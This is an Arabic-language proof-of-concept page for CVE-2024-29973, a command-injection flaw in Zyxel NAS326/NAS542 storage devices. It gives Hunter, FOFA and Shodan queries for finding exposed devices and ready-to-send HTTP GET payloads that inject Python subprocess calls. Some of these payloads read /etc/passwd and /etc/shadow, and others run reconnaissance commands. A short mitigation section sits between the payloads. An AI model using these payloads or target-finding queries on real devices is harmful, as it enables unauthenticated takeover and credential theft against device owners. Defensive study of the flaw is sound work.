
إثبات مفهوم لاستغلال CVE-2024-29973، وهي ثغرة حقن أوامر عن بُعد في أجهزة Zyxel NAS، تُظهر تنفيذ أوامر عشوائية عبر طلبات HTTP مُصمَّمة بعناية.
CVE-2024-29973 هي ثغرة أمنية حرجة تم اكتشافها في بعض أجهزة شبكات Zyxel. تسمح هذه الثغرة لمهاجم غير مصادق بتنفيذ أوامر عشوائية على الجهاز المستهدف من خلال استغلال آليات التحقق من الإدخال غير السليمة في البرنامج الثابت. يمكن للمهاجمين إرسال طلبات HTTP مصممة خصيصًا إلى الجهاز، وحقن أوامر على مستوى النظام، وربما الحصول على سيطرة كاملة على الجهاز.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
حقن الأوامر: تنشأ الثغرة بسبب عدم كفاية تنقية المدخلات في إحدى واجهات الويب الخاصة بالجهاز. يسمح هذا الخلل للمهاجمين بإلحاق أوامر نظام التشغيل داخل معاملات طلبات HTTP.
مثال على الاستغلال: يمكن للمهاجمين حقن أوامر من خلال طلب HTTP GET، مثل المثال أدناه، لتنفيذ كود عشوائي:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
التأثير: يؤدي الاستغلال الناجح إلى القدرة على تنفيذ أوامر النظام، مما قد يؤدي إلى التحكم عن بُعد في الجهاز، أو تسريب البيانات، أو زيادة اختراق الشبكة.
للتخفيف من المخاطر المرتبطة بهذه الثغرة، اتبع الخطوات التالية:
تحديث البرنامج الثابت: تأكد من تحديث جميع أجهزة Zyxel إلى أحدث إصدار من البرنامج الثابت. أصدرت Zyxel تصحيحات تعالج هذه الثغرة. تحقق بانتظام من التحديثات وطبقها على الفور.
تقسيم الشبكة: اعزل الأجهزة المعرضة للخطر عن البنية التحتية الحرجة للشبكة. لا تعرض سوى الخدمات الضرورية وتأكد من أن الواجهات الإدارية غير متاحة للجمهور.
إعداد جدار الحماية: قيّد حركة المرور الواردة والصادرة على الخدمات الأساسية فقط. احظر الوصول غير الضروري عبر HTTP إلى أجهزة Zyxel.
مراقبة النشاط المشبوه: نفّذ أدوات تسجيل ومراقبة يمكنها اكتشاف السلوك غير المعتاد والتنبيه عليه، مثل محاولات تسجيل الدخول المتكررة أو أنماط حركة المرور غير الطبيعية.
المراجع قاعدة بيانات الثغرات الوطنية - CVE-2024-29973 نشرة Zyxel الأمنية

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1